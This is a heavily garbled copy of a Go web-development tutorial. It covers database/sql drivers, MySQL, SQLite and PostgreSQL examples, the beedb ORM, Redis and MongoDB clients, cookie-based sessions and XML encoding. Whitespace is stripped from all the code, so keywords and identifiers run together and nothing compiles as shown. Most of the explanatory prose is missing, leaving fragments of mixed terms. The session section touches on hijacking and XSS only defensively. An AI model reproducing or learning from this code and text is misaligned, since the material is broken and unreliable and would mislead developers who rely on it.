//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()

//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}

contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()

resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}

//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}

multipart.WritehttpPost

usernamemultipartWriteField

links

::

4.6GoGoformGo

links

::

5Web

GobuiltinGodatabase/sql5.1Go5.25.45.5ORMdatabase/sqldatabase/sqlGo

NOSQLWebNOSQL5.6MongoDBRedis2NOSQL

Godatabase/sqltutorial

links

:: database/sql

5.1database/sqlGoPHPGoGo

sql.Register

database/sqlinitinit Register(namestring,driver

driver.Driver)

mymysqlsqlite3

//https://github.com/mattn/go-sqlite3funcinit(){sql.Register("sqlite3",&SQLiteDriver{})}

//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}

driverdatabase/sqlmap

vardrivers=make(map[string]driver.Driver)

drivers[name]=driver

database/sql

database/sql

import("database/sql"_"github.com/mattn/go-sqlite3")

_Go _

2.3initinitinitinit

driver.Driver

DrivermethodOpen(namestring)Conn

typeDriverinterface{Open(namestring)(Conn,error)}

ConngoroutineConnGogoroutine

...gogoroutineA(Conn)//gogoroutineB(Conn)//...

GogoroutinegoroutineAgoroutineBB

nameConn

driver.Conn

ConnConngoroutinegoroutine

typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}

PrepareSQL

Closedatabase/sqlconnpool

BeginTx

driver.Stmt

StmtConngoroutinegoroutine

typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}

Closequeryrows

NumInput>=0-1

ExecPreparesqlupdate/insertResult

QueryPreparesqlselectRows

driver.Tx

22

typeTxinterface{Commit()errorRollback()error}

2

driver.Execer

Conn

typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}

DB.ExecPrepareStmtStmtExecStmt

driver.Result

Update/Insert

typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}

LastInsertIdID

RowsAffectedquery

driver.Rows

Rows

typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}

Columnsslicesql

CloseRows

Nextdestdeststringdriver.Valuestring[]byteNextio.EOF

driver.RowsAffected

RowsAffectedint64ResultResult

typeRowsAffectedint64

func(RowsAffected)LastInsertId()(int64,error)

func(vRowsAffected)RowsAffected()(int64,error)

driver.Value

Value

typeValueinterface{}

driveValueValueValuenil

int64float64bool[]bytestring[*]Rows.Next stringtime.Time

driver.ValueConverter

ValueConverterdriver.Value

typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}

ValueConverter

driver.valueint64unit16driver.Valuescandriver.Value

driver.Valuer

Valuedriver.Value

typeValuerinterface{Value()(Value,error)}

Valuedriver.Value

database/sql

database/sqldatabase/sql/driverconnpool

typeDBstruct{driverdriver.Driverdsnstringmusync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}

OpenDBfreeConnDb.prepare deferdb.putConn(ci,err)connfreeConn00conn0conn

links

:: MySQL

5.2MySQLInternetLAMPMMySQLMySQLWeb

MySQL

GoMySQLdatabase/sql

https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo

database/sqlkeepalive forkmymysqlkeepalivekeepalive

testuserinfouserdetail

CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,

`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`))

CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))

database/sql

packagemain

import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")

funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)

//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

GoMysql

sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver

user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()sql

db.Query()SqlRows

stmt.Exec()stmtSQL

=?SQL

links

: database/sql: SQLite

5.3SQLiteSQLiteSQLSQLiteSQLiteSQLiteSQLiteAccess

Gosqlitedatabase/sql

https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo

database/sqlSQLite

SQL

CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);

CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));

Go

packagemain

import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")

funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

MySQL sql.OpenSQLite

sqlite http://sqliteadmin.orbmu2k.de/

links

: MySQL: PostgreSQL

5.4PostgreSQLPostgreSQL-BSD(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer

PostgreSQLMySQLOraclePostgreSQL

MySQLOracle(MySQL5.5.31GPL)MySQLPostgreSQL

GoPostgreSQL

https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo

github

CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);

CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);

Go

packagemain

import("database/sql""fmt"_"https://github.com/lib/pq")

funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

//pgMySQLIDid,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)

//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)

res,err=stmt.Exec("astaxieupdate",1)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")

checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)

res,err=stmt.Exec(1)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

PostgreSQL $1$2MySQL ?sql.OpendsnMySQLdsn

pgLastInsertIdPostgreSQLMySQLID

links

: SQLite: beedbORM

5.5beedb ORMbeedbGoORMGostylestructbeedbGoORMORMORMbeedbGoORM

beedbdatabase/sqlORMdatabase/sqlbeedb

Mysql:github.com/ziutek/mymysql/godrv[*]

Mysql:code.google.com/p/go-mysql-driver[*]

PostgreSQL:github.com/bmizerany/pq[*]

SQLite:github.com/mattn/go-sqlite3[*]

MSADODB:github.com/mattn/go-adodb[*]

ODBC:bitbucket.org/miquella/mgodbc[*]

beedbgogetGoStyle

gogetgithub.com/astaxie/beedb

importdatabase/sqlbeedb

import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv")

beedbMySQL

db,err:=sql.Open("mymysql","test/xiemengjun/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)

beedbNewdbMySQL/Sqlite

SQLServer

orm=beedb.New(db,"mssql")

PostgreSQL

orm=beedb.New(db,"pg")

beedb

beedb.OnDebug=true

Userinfostruct

typeUserinfostruct{Uidint`PK`//idpk

UsernamestringDepartnamestringCreatedtime.Time}

beedb UserInfoStruct user_info

structsqlSave

varsaveoneUserinfosaveone.Username="TestAddUser"saveone.Departname="TestAddDepartname"saveone.Created=time.Now()orm.Save(&saveone)

ID saveone.UidSave

beedbmap

add:=make(map[string]interface{})add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"orm.SetTable("userinfo").Insert(add)

addslice:=make([]map[string]interface{},0)add:=make(map[string]interface{})add2:=make(map[string]interface{})

add["username"]="astaxie"add["departname"]="clouddevelop"add["created"]="2012-12-02"add2["username"]="astaxie2"add2["departname"]="clouddevelop2"add2["created"]="2012-12-02"addslice=append(addslice,add,add2)orm.SetTable("userinfo").InsertBatch(addslice)

jquerymethodormmethod

SetTableORMmap userinfo

saveonesavebeedbupdate

saveone.Username="UpdateUsername"saveone.Departname="UpdateDepartname"saveone.Created=time.Now()orm.Save(&saveone)//saveone

map

t:=make(map[string]interface{})t["username"]="astaxie"orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)

beedb

SetPKORM userinfo uid

Where:Where("=?",)Updatemap

beedb

1

varuserUserinfo//Where 2intorm.Where("uid=?",27).Find(&user)

2

varuser2Userinfoorm.Where(3).Find(&user2)//

3

varuser3Userinfo//Where2orm.Where("name=?","john").Find(&user3)

4

varuser4Userinfo//Where3orm.Where("name=?andage<?","john",88).Find(&user4)

1id>32010

varallusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10,20).FindAll(&allusers)

2limit010

vartenusers[]Userinfoerr:=orm.Where("id>?","3").Limit(10).FindAll(&tenusers)

3

vareveryone[]Userinfoerr:=orm.OrderBy("uiddesc,usernameasc").FindAll(&everyone)

Limit

Limit:20

OrderBy:

structmap

a,_:=orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()

Select *

FindMap()[]map[string][]byte

beedb

1

//saveonesaveoneorm.Delete(&saveone)

2

//allusersliceorm.DeleteAll(&alluser)

3sql

orm.SetTable("userinfo").Where("uid>?",3).DeleteRow()

beedbstructbeedb

a,_:=orm.SetTable("userinfo").Join("LEFT","userdeatail","userinfo.uid=userdeatail.uid").Where("userinfo.uid=?",1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()

Join3

INNER,LEFT,OURTER,CROSS

GroupBy Having

groupbyhavingbeedb

a,_:=orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()

2

GroupBy:groupby

Having:having

beedb

interfacedatabase/sql/driverbeedbCRUD

typeProfilestruct{NicknamestringMobilestring}

typeUserinfostruct{Uidint`PK`UsernamestringDepartnamestringCreatedtime.TimeProfile`HasOne`}

goroutine

links

: PostgreSQL: NOSQL

5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0

Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB

redis

rediskey-valueMemcachedvaluestring()list()set()zset(set)

redisFacebookinstagram

Goredis

https://github.com/garyburd/redigohttps://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis

Let'sseehowtousethedriverthatredigotooperateonadatabase:

packagemain

import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")

var(Pool*redis.Pool)

funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}

funcnewPool(serverstring)*redis.Pool{

return&redis.Pool{

MaxIdle:3,IdleTimeout:240*time.Second,

Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},

TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}

funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}

funcGet(keystring)([]byte,error){

conn:=Pool.Get()deferconn.Close()

vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}

funcmain(){test,err:=Get("test")fmt.Println(test,err)}

forkbug200WPV

https://github.com/astaxie/goredis

forkredis

packagemain

import("github.com/astaxie/goredis""fmt")

funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"

//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")

//list

vals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}

redisclientredisredis

mongoDB

MongoDBjsonbjsonMongo

mysqlmongoDBmongoDB

5.1MongoDBMysql

GomongoDB mgopkg

GomongoDB

packagemain

import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")

typePersonstruct{Namestring

Phonestring}

funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()

//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)

c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)}

result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}

fmt.Println("Phone:",result.Phone)}

mgobeedbstructGoStyle

links

: beedbORM:

5.7

Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21

Webdatabase/sql

Godatabase/sqltutorial

links

: NOSQL: session

6sessionWebHTTPWebWebcookiesessioncookiesessionIDSessionID2urlcookieSession

6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcachedredis)6.4

links

:: sessioncookie

6.1session cookiesessioncookie2sessioncookie

""""

""HTTPHTTPcookiesession

cookieHTTPcookie

6.1cookie

sessionsessionidsessionsessionidsessioncookieIDsessionidGETid

6.2session

cookie

CookieWebWebcookiecookiecookie

6.3cookie

cookie2cookie

cookiecookiecookiecookie

(setMaxAge(606024))cookiecookiecookieIE2cookie

Go cookie

Gonet/httpSetCookie

http.SetCookie(wResponseWriter,cookie*Cookie)

wresponsecookiestructcookie

typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring

//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}

cookie

expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)

Go cookie

cookiecookie

cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)

for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}

requestcookie

session

session/sessionsession""/""2

sessionWebSession

session()

sessionsessionIDsessionidsession(sessionURLSESSION)sessionidsessionsessionsessionidsessionid

session

sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1appABcookieBcookie2XSSappAjavascriptdocument.cookieappB

cookiesessionwebbugsession

links

: session: Gosession

6.2Go sessionsessionGosessiongosession

session

sessionIDWebsession

IDsessionideI/OsessionsessionsessionID

sessionIDHTTPBodycookieURL

1. CookieSet-cookiesessionIDIDsessioncookie0(cookie)()

2. URLURLURLsessionIDsessionIDcookie

Go session

sessionsessionsessionsession(lifecycle)gosession

session

session

session

sessionidsessionsession()session

sessiongo

Session

session

typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}

funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}

Gomainsession

varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}

sessionProvidersession

typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}

SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime

SessionWebSessionsessionIDSession

typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}

database/sql/driversessionsessionRegister

varprovides=make(map[string]Provider)

//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}

SessionID

SessionIDWebGUID

func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}

session

SessionSessionSessionStartSession

func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}

loginsession

funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}

SessionStartSessionsession

session.Get("uid")

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

Sessionkey/valueSetGetDelete

SessionGCGCGCsessionSessionGCSession

session

Websessionsession

//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}

session

SessionMain

funcinit(){goglobalSessions.GC()}

func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}

GCtime maxLifeTimeGC maxLiefTimesession

WebSessionSessionManagerSessionProviderProvider

links

: sessioncookie: session

6.3sessionSessionsessionsession

packagememory

import("container/list""github.com/astaxie/session""sync""time")

varpder=&Provider{list:list.New()}

typeSessionStorestruct{sidstring//sessionidIDtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}

func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)

returnnil}

func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}

func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)SessionID()string{returnst.sid}

typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}

func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}

func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{

sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}

func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}

func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()

for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore).sid)}else{break}}}

func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}

funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}

sessioninitsession

import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")

importmemoryinitsessionsession

varglobalSessions*session.Manager

//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()}

links

: Gosession: session

6.4sessionsessionsessionsessionIDID

session

session

count

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

count.gtpl

Hi.Nowcount:{{.}}

6.4count

6chromecookie

6.5cookie

(firefox)chromefirefoxcookiecookiecookiefirefox

6.6cookie

6.7session

sessionIDcookiefirefoxchromegoservergosessionid""goserverhttpgosessionidHTTPgosessionidchrome""sessionchrome""

session

cookieonly token

sessionsession

sessionIDcookieURLcookiehttponlytruecookiecookieXSSsessioncookieURLsessionID

2tokenformtokentoken

h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)

SID

sessionsessionIDsessionsession

createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}

sessionsessionID(60)IDsessionID

sessionsessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie

links

: session:

6.5session/cookieGosessionsessionsessionProvidersessionsessionsessionsessionsessionsession

links

: session:

7WebJsonXMLGoGoGo

XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV7.47.57.6

links

:: XML

7.1XMLXMLWebXMLGoXML

XMLGoXML/

xml

<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server>

<serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

XML2IPGoXML

XML

XMLxml Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

dataXMLvinterfaceXMLstructstructXML

packagemain

import("encoding/xml""fmt""io/ioutil""os")

typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}

typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}

fmt.Println(v)}

XMLgostructxml.Unmarshalxmlstruct

{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}

xmlstruct xml.Unmarshalstruct xml:"serverName"structstructtag Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

XMLstructslicestringXMLvUnmarshalXMLstructtagtagXML

GotagXMLstructstructtagyreflect

XMLstruct

structstring[]bytetag ",innerxml"UnmarshalxmlDescription

<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>

structXMLNamexml.Nameelementservers

structtagXMLelementelementservernameserveripstructtag ",attr"elementversionstructtag "a>b>c"xmlabcstructtag "-"xmlstructtag ",any"

XMLtag"comments"[]bytestring

structtagtagXMLtagXMLelementslice

goxmlstruct

XML

XMLgoxml MarshalMarshalIndent

funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)

XMLXML

XML

packagemain

import("encoding/xml""fmt""os")

typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}

typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}os.Stdout.Write([]byte(xml.Header))

os.Stdout.Write(output)}

<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader

Marshalvinterface{}xmlXML

varrayslice valuevMarshalvinterfaceinterfacev

XMLelementstruct

vstructXMLNametagxml.NameXMLNamestructtagstructmarshall

structtagxml

XMLNametag"-"tag"name,attr"nameXMLtag",attr"structXMLname

tag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty"XMLfalse0nilnil0arrayslicemapstring

tag"a>b>c"abbc

FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`

<name><first>Asta</first><last>Xie</last></name>

GoxmlXML/XMLstructtagtag

links

:: Json

